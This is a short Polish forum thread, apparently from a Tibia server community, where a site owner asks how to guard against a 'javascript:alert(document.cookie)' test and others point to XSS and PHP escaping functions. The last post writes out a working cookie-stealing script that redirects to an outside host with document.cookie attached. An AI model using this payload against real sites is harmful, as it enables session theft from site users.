javascript:alert(document.cookie);

[Verdis]

Siemka,
da się jakoś zabezpieczyć stronkę www przed:
"javascript:alert(document.cookie);"..?
Proszę o pomoc.

 

[averatec]

nie rozumiem o co Ci chodzi, o wyciaganie session id? nie da sie... chyba ze masz inny lepszy pomysl na sesje

 

[hemrenus321]

chodzi pewnie o xss
poczytaj to się dowiesz

 

[ErnesTT]

strip_tags, htmlspecialchars, ale żeby było naprawde bezpiecznie to trzeba napisać większy kod bo są miliony sposobów wykonania xss.

 

[Verdis]

Ostro widzę... ;/ Jest możliwość wykradzenia moich plików z vpsa, nie znając hasła itp.. ? (wykorzystując bugi)

 

[Verdis]

Patrzałem na znanych serverach tibi, nie wyświetla im żadnego komunikatu po wpisaniu: " javascript:alert(document.cookie);" jak to zrobić (zabezpieczyć) ? ;/

 

[averatec]

czy Ty rozumiesz co to XSS?

 

[Verdis]

Oglądałem z 100 filmów na yt o tym.

 

[Crypton3]

Patrzałem na znanych serverach tibi, nie wyświetla im żadnego komunikatu po wpisaniu: " javascript:alert(document.cookie);" jak to zrobić (zabezpieczyć) ? ;/

Ale co ty niby chcesz zabezpieczać? Nie wyświetla nic, ponieważ się tam pewnie nie logowałeś. Jeśli chcesz to przerób sobie acc makera, aby nie pamiętał logowań - pozbędziesz się ciasteczek.

 

[ErnesTT]

Oglądałem z 100 filmów na yt o tym.

filmy to nie to samo, lepiej popróbować w praktyce opcji na xss jest tak wiele, ze masakra, a główna jej zaleta to:

<script>window.location = "http://mojawww.pl/?cookisy="+document.cookie;</script>